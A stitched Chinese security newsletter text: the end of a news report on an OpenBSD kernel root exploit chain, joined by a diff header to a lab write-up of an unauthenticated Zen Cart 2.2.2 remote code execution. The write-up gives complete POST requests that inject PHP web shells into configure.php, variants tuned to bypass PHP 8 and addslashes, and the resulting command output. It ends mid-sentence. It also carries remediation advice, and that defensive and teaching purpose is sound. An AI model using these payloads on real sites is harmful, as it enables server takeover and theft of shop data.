日作为安全修复发布。两者均可通过
|
||||
syspatch
|
||||
获取，并覆盖所有架构。
|
||||
OpenBSD 7.8
|
||||
也获得了整数溢出修复方案。该整数溢出是完整攻击链的入口点，被归类为可靠性修复，而不是安全修复。
|
||||
|
||||
截至发布时，两个漏洞均未分配
|
||||
CVE
|
||||
。未有证据表明这些漏洞已被用于攻击。
|
||||
|
||||
共享内存附加计数器
|
||||
shm_nattch
|
||||
在可追溯到
|
||||
1988
|
||||
年的原始
|
||||
BSD
|
||||
源码中被定义为有符号
|
||||
16
|
||||
位
|
||||
short
|
||||
，最大值为
|
||||
32767
|
||||
。
|
||||
OpenBSD
|
||||
继承了该类型，且从未将其加宽。
|
||||
|
||||
该漏洞利用映射
|
||||
127
|
||||
个共享内存段并派生
|
||||
259
|
||||
个进程，使计数器超过最大值并回绕到
|
||||
−32643
|
||||
。随后竞争条件触发释放后使用：被破坏的引用计数导致内核释放其它进程仍在使用的内存。
|
||||
|
||||
另一个越界写覆盖内核中的多播成员计数器。当受影响的套接字关闭时，由此产生的递减会修改页表项，将用户内存映射切换为监管者权限可访问，从而绕过
|
||||
SMAP
|
||||
和
|
||||
SMEP
|
||||
。然后该利用覆盖可预测内核地址处的函数指针，运行自己的代码。
|
||||
|
||||
研究员
|
||||
Andrew Griffiths
|
||||
写道，“尽管
|
||||
OpenBSD
|
||||
的
|
||||
KARL
|
||||
会重新链接内核二进制以随机化函数和数据地址，但内核内存分配器仍是确定性的。”启动时分配器和最佳适配分配器都缺少基址随机化，因此早期启动结构，包括
|
||||
lo0
|
||||
和
|
||||
enc0
|
||||
网络接口处理程序中的函数指针，在同一硬件上多次重启后落在相同地址。该利用无需信息泄露漏洞便可实施。
|
||||
|
||||
除两个勘误外，
|
||||
Calif
|
||||
还提出四类加固措施：内核链表的安全解除链接（
|
||||
FreeBSD
|
||||
和
|
||||
NetBSD
|
||||
已使用）、页表自引用映射随机化、内核分配器随机化以及基于编译器的边界检查。
|
||||
|
||||
Calif
|
||||
表示其
|
||||
“
|
||||
今年早些时候
|
||||
”
|
||||
向
|
||||
OpenBSD
|
||||
报告了这些漏洞，并在
|
||||
GitHub
|
||||
平台发布了
|
||||
PoC
|
||||
利用代码。
|
||||
|
||||
|
||||
代码卫士试用地址：https://sast.qianxin.com/
|
||||
|
||||
开源卫士试用地址：https://oss.qianxin.com/
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**推荐阅读**
|
||||
|
||||
[OpenBSD 修复已存在27年的 PPP 协议栈认证绕过漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526319&idx=2&sn=dd48e102a2751f99b4ea33b644ef79a5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[开源操作系统 OpenBSD 被曝四个严重的认证绕过和提权漏洞（详情）](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247491821&idx=1&sn=99481c872b8bb5bb526699225619cab3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[DirtyClone: Linux 内核新漏洞，通过克隆的数据包获得根权限](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526443&idx=2&sn=c847b004b20a9d1f991dad8dcd81c7b4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Pedit COW：通过投毒缓存二进制，获得根权限](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247526443&idx=1&sn=0248c2f40eb99f883bab4a8b30dba2bf&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Ubunntu 高危漏洞可导致攻击者获得根权限](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525508&idx=1&sn=2833d5727c1faf94104890b325bb6d75&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**原文链接**
|
||||
|
||||
https://thehackernews.com/2026/10/researchers-demonstrate-openbsd-root.html
|
||||
|
||||
|
||||
题图：Pixa
|
||||
b
|
||||
ay Licens
|
||||
e
|
||||
|
||||
|
||||
**本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**奇安信代码卫士 (codesafe)**
|
||||
|
||||
国内首个专注于软件开发安全的产品线。
|
||||
|
||||
|
||||
![]( "")
|
||||
![]( "")
|
||||
|
||||
|
||||
觉得不错，就点个 “
|
||||
在看
|
||||
” 或 "
|
||||
赞
|
||||
”
|
||||
|
||||
@@ -0,0 +1,336 @@
|
||||
# 同一个漏洞，两种 payload： Zen Cart 零权限 RCE 的两次实战
|
||||
原创 YNsec
|
||||
YNsec YNsec安全实验室 2026-10-19 11:19
|
||||
|
||||
# 同一个漏洞，两种 payload：Zen Cart 零权限 RCE 的两次实战
|
||||
|
||||
安全研究 · 漏洞利用链拆解 · 靶场实录
|
||||
|
||||
摘要
|
||||
两个靶标、同一条链、同一个函数，却必须写两套完全不同的 payload。本文拆解 zcConfigureFileWriter 的「注释注入」，讲清一件事：一个能跑的脚本，为什么换台机器就废了。
|
||||
|
||||
**免责声明：**
|
||||
本文所述测试全部在授权靶场环境中完成，目标地址、主机名与凭据均已脱敏（IP 使用 RFC5737 文档专用地址段）。内容仅用于安全学习与防御加固，请勿用于任何未授权测试。
|
||||
## 一、先说结果
|
||||
|
||||
两个靶标，跑的都是 **Zen Cart 2.2.2**
|
||||
，都留着 zc_install/
|
||||
这个安装目录。两条链的结果一模一样：
|
||||
<table><thead><tr><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 10px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">项目</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 10px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">结果</span></section></th></tr></thead><tbody><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;font-weight: 600;"><section><span leaf="">攻击者起点</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><section><span leaf="">手上什么都没有（无 Cookie / Token / Session / 账号）</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;font-weight: 600;"><section><span leaf="">链路长度</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><strong><span leaf="">1 步</span></strong><section><span leaf="">（单漏洞即成链，无需任何辅助漏洞）</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;font-weight: 600;"><section><span leaf="">最终权限</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 12.5px;"><span leaf="">apache</span></code><section><span leaf="">（uid=48），命令直接回显</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;font-weight: 600;"><section><span leaf="">CVSS</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><strong><span leaf="">9.8</span></strong><section><span leaf="">（AV:N / AC:L / PR:N / UI:N / C:H / I:H / A:H）</span></section></td></tr></tbody></table>
|
||||
这意味着：网络可直接访问、不需要任何认证、不需要用户交互、机密性完整性可用性全 High —— 漏洞评级里最难看的那个档位。
|
||||
|
||||
但这两条链用的**并不是两个漏洞**
|
||||
。同一个函数 zcConfigureFileWriter
|
||||
、同一个注释闭合技巧、同一个落点，唯一的差别是 **payload 怎么写**
|
||||
。
|
||||
|
||||
而这个差别，恰恰是整件事最值得看的地方。
|
||||
## 二、入口：一扇不需要钥匙的门
|
||||
|
||||
Zen Cart 安装完之后，zc_install/
|
||||
目录默认还躺在那儿。它的关键特征是——**完全独立于主应用的认证系统**
|
||||
：不读 Session、不校验登录态、不看管理员标记。
|
||||
|
||||
直接访问安装向导首页，返回 200，不需要登录：
|
||||
|
||||
HTTP 请求
|
||||
|
||||
GET /zc_install/index.php?main_page=admin_setup HTTP/1.1
|
||||
Host: 192.0.2.30:8080
|
||||
|
||||
换句话说：只要这个目录还能从外网访问，你就等于在产品旁边开了一扇不用钥匙的门。而绝大多数「装完就走」的部署，这扇门一直开着。
|
||||
|
||||
前置条件少得可怜：
|
||||
<table><thead><tr><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 10px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">条件</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 10px;text-align: center;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">状态</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 10px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">说明</span></section></th></tr></thead><tbody><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><section><span leaf="">zc_install 目录可 HTTP 访问</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;text-align: center;"><section><span leaf="">✅</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><section><span leaf="">未删除，返回 200</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><section><span leaf="">PHP 文件可被解析执行</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;text-align: center;"><section><span leaf="">✅</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><section><span leaf="">Apache + PHP 8.2.31</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><section><span leaf="">includes/ 目录 Web 用户可写</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;text-align: center;"><section><span leaf="">✅</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><section><span leaf="">文件属主 apache</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><section><span leaf="">攻击者持有账号</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;text-align: center;"><section><span leaf="">❌</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 10px;"><section><span leaf="">不需要，零凭据</span></section></td></tr></tbody></table>## 三、原理：把 PHP 代码塞进一段注释里
|
||||
|
||||
安装向导要把配置写进 configure.php
|
||||
，用的是模板替换。模板开头有这么一行：
|
||||
|
||||
模板原文（被污染的那一行）
|
||||
|
||||
<?php
|
||||
/**
|
||||
* @license http://www.zen-cart.com/license/2_0.txt
|
||||
* File Built by %%_INSTALLER_METHOD_%% on %%_DATE_NOW_%%
|
||||
*/
|
||||
|
||||
注意 %%_INSTALLER_METHOD_%%
|
||||
这个占位符——它待在一段 /* ... */
|
||||
多行注释里面。而 installer_method
|
||||
这个字段，会被 str_replace()
|
||||
**原样**
|
||||
替换进去。
|
||||
|
||||
于是攻击者只需要做三件事：
|
||||
1. 用 */
|
||||
把注释关掉；
|
||||
|
||||
1. 写自己的 PHP 代码；
|
||||
|
||||
1. 再用 /*
|
||||
把注释重新打开，让模板剩下的部分继续被注释吞掉，保证语法不出错。
|
||||
|
||||
💡 这个三段式结构 **「*/ + 任意 PHP + /*」**
|
||||
是整条链的核心。它不需要你控制文件名、不需要你找到包含点，只要有一处「用户输入被塞进注释」的地方，就能变成代码执行。
|
||||
|
||||
再配合路径遍历：physical_path
|
||||
只做了 rtrim()
|
||||
就拼上 /includes/configure.php
|
||||
，不校验 ../
|
||||
。传个 .
|
||||
或绝对路径，写出来的文件就落在 Web 根目录下，Apache 直接解析。
|
||||
|
||||
完整的污点链路：
|
||||
|
||||
漏洞触发链
|
||||
|
||||
$_POST['installer_method'] ← 用户可控，零权限
|
||||
│
|
||||
▼ application_top.php:111 zen_sanitize_request() → addslashes()
|
||||
│ ⚠ 只转义 ' " \ NUL，payload 不含这几个字符就原样通过
|
||||
│
|
||||
▼ admin_setup/header_php.php:28 new zcConfigureFileWriter($_POST)
|
||||
│
|
||||
▼ transformConfigureTplFile():96
|
||||
│ str_replace('%%_INSTALLER_METHOD_%%', payload, $tpl)
|
||||
│ 模板头变成：
|
||||
│ * File Built by */ <payload> /* on ...
|
||||
│ ↑ 注释在此关闭，代码脱离注释上下文
|
||||
│
|
||||
▼ file_put_contents($outputFile, $tplOriginal)
|
||||
│ 覆盖 {physical_path}/includes/configure.php
|
||||
│
|
||||
▼ 任意后续请求 → require configure.php → <payload> 执行
|
||||
## 四、真正的坑：现成的 payload 为什么跑不动
|
||||
|
||||
这一节是两份报告里最有价值的部分，也是我建议大家重点看的。
|
||||
### 坑一：PHP 8 不认「裸常量」
|
||||
|
||||
网上流传的旧 PoC 长这样：
|
||||
|
||||
旧 PoC（PHP 7 可用）
|
||||
|
||||
*/ system($_GET[cmd]); /*
|
||||
|
||||
在 PHP 7 里，cmd
|
||||
是一个「未定义常量」，PHP 会宽容地把它当成字符串 'cmd'
|
||||
，只丢一个 warning，照跑不误。
|
||||
|
||||
而 PHP 8 把这件事从 warning 升级成了 **Fatal error**
|
||||
。结果是：HTTP 500、响应体空白、什么都不回显。第一次实测就是 500 空响应，看上去像「漏洞不存在」。
|
||||
|
||||
改法有两个动作：
|
||||
- 用 current($_GET)
|
||||
取代 $_GET[cmd]
|
||||
—— 取数组第一个元素的值，不需要任何字符串键，彻底绕开未定义常量；
|
||||
|
||||
- 末尾补一个 exit;
|
||||
—— 因为模板后半段还有没被替换的 %%_..._%%
|
||||
占位符，PHP 8 同样视为未定义常量，会在你拿到回显之前把进程打断。
|
||||
|
||||
### 坑二：addslashes 会把你的引号全毁掉
|
||||
|
||||
zen_sanitize_request()
|
||||
对 POST 值统一做 addslashes()
|
||||
，转义 '
|
||||
、"
|
||||
、\
|
||||
和 NUL。
|
||||
|
||||
这意味着——**你的 payload 里一个引号都不能出现**
|
||||
。而绝大多数人写 payload 的第一反应就是带引号。
|
||||
<table><thead><tr><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">尝试的写法</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">失败原因</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">结果</span></section></th></tr></thead><tbody><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">双引号字符串</span><br/><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">echo "MARK:".shell_exec($_GET["v1"])</span></code></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">"</span></code><section><span leaf=""> 变成 </span><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">\"</span></code><span leaf="">，在代码上下文里是语法错误</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;"><section><span leaf="">❌ 500</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">单引号闭合</span><br/><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">mysql';phpinfo();//</span></code></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">\'</span></code><section><span leaf=""> 在 PHP 单引号字符串里是</span><strong><span leaf="">合法转义</span></strong><span leaf="">，字符串不闭合</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;"><section><span leaf="">❌ 注入失败</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">整数键 + 无字符串</span><br/><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">$_GET[1]</span></code></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">payload 里没有 </span><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">' " \</span></code><span leaf="">，addslashes 无从下手</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;"><section><span leaf="">✅ 成功</span></section></td></tr></tbody></table>
|
||||
第三次才成的 payload：
|
||||
|
||||
最终 payload（零引号）
|
||||
|
||||
*/ if(isset($_GET[1])){echo shell_exec($_GET[1]);} /*
|
||||
|
||||
整数键 $_GET[1]
|
||||
替代字符串键，函数体里也不出现任何字符串字面量 —— 整个 payload 里找不到可以被 addslashes
|
||||
处理的字符。
|
||||
|
||||
⚠️ **这就是本文最想说的那句话：payload 的「能用」是有前置条件的。**
|
||||
它同时依赖目标机的 PHP 版本、过滤函数、以及你有没有把引号带进去。同一份 PoC 昨天能打，今天换台机器就是 500 空响应 —— 这不是漏洞没了，是你的写法过时了。
|
||||
## 五、两次实战，两套写法
|
||||
### A 版：用 current($_GET) 兼容 PHP 8
|
||||
|
||||
这一步只需要一个 POST，全程无 Cookie、无 Token：
|
||||
|
||||
HTTP 请求 · 无任何凭据
|
||||
|
||||
POST /zc_install/index.php?main_page=admin_setup HTTP/1.1
|
||||
Host: 192.0.2.30:8080
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
http_server_catalog=http://example.com
|
||||
&installer_method=*/ system(current($_GET)); exit; /*
|
||||
&physical_path=.
|
||||
|
||||
写入成功后，服务端 configure.php
|
||||
的头部变成这样：
|
||||
|
||||
写入后的文件头
|
||||
|
||||
<?php
|
||||
/**
|
||||
* @copyright Copyright 2003-2025 Zen Cart Development Team
|
||||
* @license http://www.zen-cart.com/license/2_0.txt
|
||||
* File Built by */ system(current($_GET)); exit; /* on Tue Jun 30 2026 02:27:35
|
||||
*/
|
||||
|
||||
注释在 */
|
||||
处关闭，代码落进执行上下文，末尾的 /*
|
||||
再把剩余模板吞回去。语法完美。
|
||||
|
||||
然后访问这个文件，随便带一个参数：
|
||||
|
||||
HTTP 请求
|
||||
|
||||
GET /zc_install/includes/configure.php?cmd=id HTTP/1.1
|
||||
Host: 192.0.2.30:8080
|
||||
|
||||
响应
|
||||
|
||||
uid=48(apache) gid=48(apache) groups=48(apache)
|
||||
|
||||
current($_GET)
|
||||
取到第一个参数值 'id'
|
||||
，交给 system()
|
||||
执行并回显。攻击者甚至不需要知道参数名叫什么。
|
||||
### B 版：用整数键绕开 addslashes
|
||||
|
||||
另一台靶标同样是零凭据，但 payload 换成了「整份安装参数 + 无引号注入」：
|
||||
|
||||
HTTP 请求 · 无任何凭据
|
||||
|
||||
POST /zc_install/index.php?main_page=admin_setup HTTP/1.1
|
||||
Host: 192.0.2.40:8080
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
physical_path=/home/source_code/zencart-2.2.2
|
||||
&adminDir=admin
|
||||
&db_type=mysql
|
||||
&db_host=localhost
|
||||
&installer_method=*/ if(isset($_GET[1])){echo shell_exec($_GET[1]);} /*
|
||||
&...（其余安装参数照填，越完整越像正常安装）
|
||||
|
||||
触发用的是整数参数名 1
|
||||
：
|
||||
|
||||
HTTP 请求
|
||||
|
||||
GET /?1=id HTTP/1.1
|
||||
Host: 192.0.2.40:8080
|
||||
|
||||
命令输出直接打在页面 HTML 之前：
|
||||
|
||||
响应
|
||||
|
||||
uid=48(apache) gid=48(apache) groups=48(apache)
|
||||
<!DOCTYPE html>
|
||||
<html dir="ltr" lang="en">
|
||||
<head>
|
||||
...
|
||||
|
||||
💡 注意 B 版有个细节：它覆盖的是 **两处**
|
||||
configure.php（前台一份、后台一份）。因为主应用的每个请求都会 require
|
||||
这个文件，所以注入点等于**全站常驻**
|
||||
，不依赖你去敲那个特定的 URL。
|
||||
## 六、取证：别让「回显了」骗了你
|
||||
|
||||
拿到一个 uid=...
|
||||
就算成功了吗？不够。回显可能来自缓存、来自某个中间层，甚至来自别人的截图。
|
||||
|
||||
两份报告都做了同一件事：**写一个带唯一时间戳的标记，再自己读回来**
|
||||
。B 版跑了三轮，每轮标记都不同，全部命中：
|
||||
<table><thead><tr><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">轮次</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">写入的唯一标记</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">读回结果</span></section></th></tr></thead><tbody><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;"><section><span leaf="">1</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">VE0177_PROOF_RUN1_2842654</span></code></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;"><section><span leaf="">✅ 一致</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;"><section><span leaf="">2</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">VE0177_PROOF_RUN2_9128405</span></code></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;"><section><span leaf="">✅ 一致</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;"><section><span leaf="">3</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">VE0177_PROOF_RUN3_1078861</span></code></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: center;"><section><span leaf="">✅ 一致</span></section></td></tr></tbody></table>
|
||||
这三轮标记互相不同，且带纳秒级后缀，基本排除了缓存与巧合。文件属主是 apache:apache
|
||||
，也说明确实是 Web 进程写的。
|
||||
|
||||
而 A 版那边有个更有意思的旁证 ——
|
||||
|
||||
💡 用 root 通过 SSH 去读那个标记文件，**读不到**
|
||||
；但通过 RCE cat
|
||||
却能读出来。
|
||||
|
||||
原因是 httpd 启用了 PrivateTmp=yes
|
||||
（systemd 沙箱），apache 进程看到的 /tmp
|
||||
是私有命名空间，和 root 的 /tmp
|
||||
不是同一个。
|
||||
|
||||
这个「读不到」，恰恰**证明了命令真的跑在 apache 的服务上下文里**
|
||||
，而不是任何中间层伪造出来的回显。有时候，一个「失败」比成功更有说服力。
|
||||
## 七、两条链放在一起看
|
||||
<table><thead><tr><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">对比项</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">A 版（VE-0175）</span></section></th><th style="background: rgb(244, 247, 251);border: 1px solid rgb(227, 232, 239);padding: 9px 8px;text-align: left;font-weight: 700;color: rgb(31, 45, 61);"><section><span leaf="">B 版（VE-0177）</span></section></th></tr></thead><tbody><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;font-weight: 600;"><section><span leaf="">payload</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">system(current($_GET))</span></code></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">shell_exec($_GET[1])</span></code></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;font-weight: 600;"><section><span leaf="">解决什么</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">PHP 8 未定义常量（Fatal error）</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">addslashes 转义引号（语法错误）</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;font-weight: 600;"><section><span leaf="">触发方式</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">访问被写入的 configure.php</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">访问站点任意页面，</span><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">?1=cmd</span></code></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;font-weight: 600;"><section><span leaf="">path 参数</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">.</span></code></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">绝对路径</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;font-weight: 600;"><section><span leaf="">额外防御</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">补 </span><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">exit;</span></code><span leaf=""> 防占位符炸掉回显</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><code style="background: rgb(240, 243, 247);color: rgb(199, 37, 78);border-radius: 3px;padding: 1px 4px;font-family: Consolas, monospace;font-size: 11.5px;"><span leaf="">isset()</span></code><section><span leaf=""> 判空，避免空参数报错</span></section></td></tr><tr><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;font-weight: 600;"><section><span leaf="">最终权限</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">apache（uid=48）</span></section></td><td style="border: 1px solid rgb(227, 232, 239);padding: 9px 8px;"><section><span leaf="">apache（uid=48）</span></section></td></tr></tbody></table>
|
||||
看明白了吗？**漏洞是同一个，差别全在「适配目标环境」这四个字上。**
|
||||
A 版适配 PHP 8 的严格性，B 版适配过滤函数的转义规则。写 exploit 这件事，本质上是和环境谈判。
|
||||
## 八、修复清单
|
||||
|
||||
最高优先级，今天就能做
|
||||
1. **生产环境直接删掉 zc_install/ 目录。**
|
||||
装完就不该留着，这一步能干掉本文整条链。
|
||||
|
||||
1. 如果业务上必须保留，就给这个目录加 **IP 白名单**
|
||||
或 **Basic Auth**
|
||||
，别让它对外裸奔。
|
||||
|
||||
清理命令
|
||||
|
||||
rm -rf /path/to/zencart-2.2.2/zc_install/
|
||||
|
||||
代码层加固
|
||||
1. **完成态校验**
|
||||
：configure.php
|
||||
已存在就拒绝重写，或要求管理员二次认证；
|
||||
|
||||
1. **过滤模板变量**
|
||||
：installer_method
|
||||
禁止 */
|
||||
与 /*
|
||||
序列；更彻底的做法是把它写进字面字符串里，而不是裸注释内；
|
||||
|
||||
1. **路径校验**
|
||||
：physical_path
|
||||
用 realpath()
|
||||
比对前缀，拒绝 ..
|
||||
和任意绝对路径；
|
||||
|
||||
1. **别把 addslashes 当万能过滤**
|
||||
：它只适合「字符串上下文」，对代码上下文毫无意义。按输出语境做编码才是正解。
|
||||
|
||||
运行层兜底
|
||||
1. disable_functions
|
||||
里禁掉 shell_exec
|
||||
/ system
|
||||
/ exec
|
||||
/ passthru
|
||||
（深度防御，不能替代前两条）；
|
||||
|
||||
1. display_errors
|
||||
关掉、log_errors
|
||||
打开 —— 但要注意：这也意味着真实的报错被藏起来了，需要配合日志告警；
|
||||
|
||||
1. 验证做完记得清残留：恢复原始 configure.php
|
||||
、删掉标记文件。
|
||||
|
||||
## 写在最后
|
||||
|
||||
这两份报告放在一起看，比单独看任何一份都有意思。我想留下三点：
|
||||
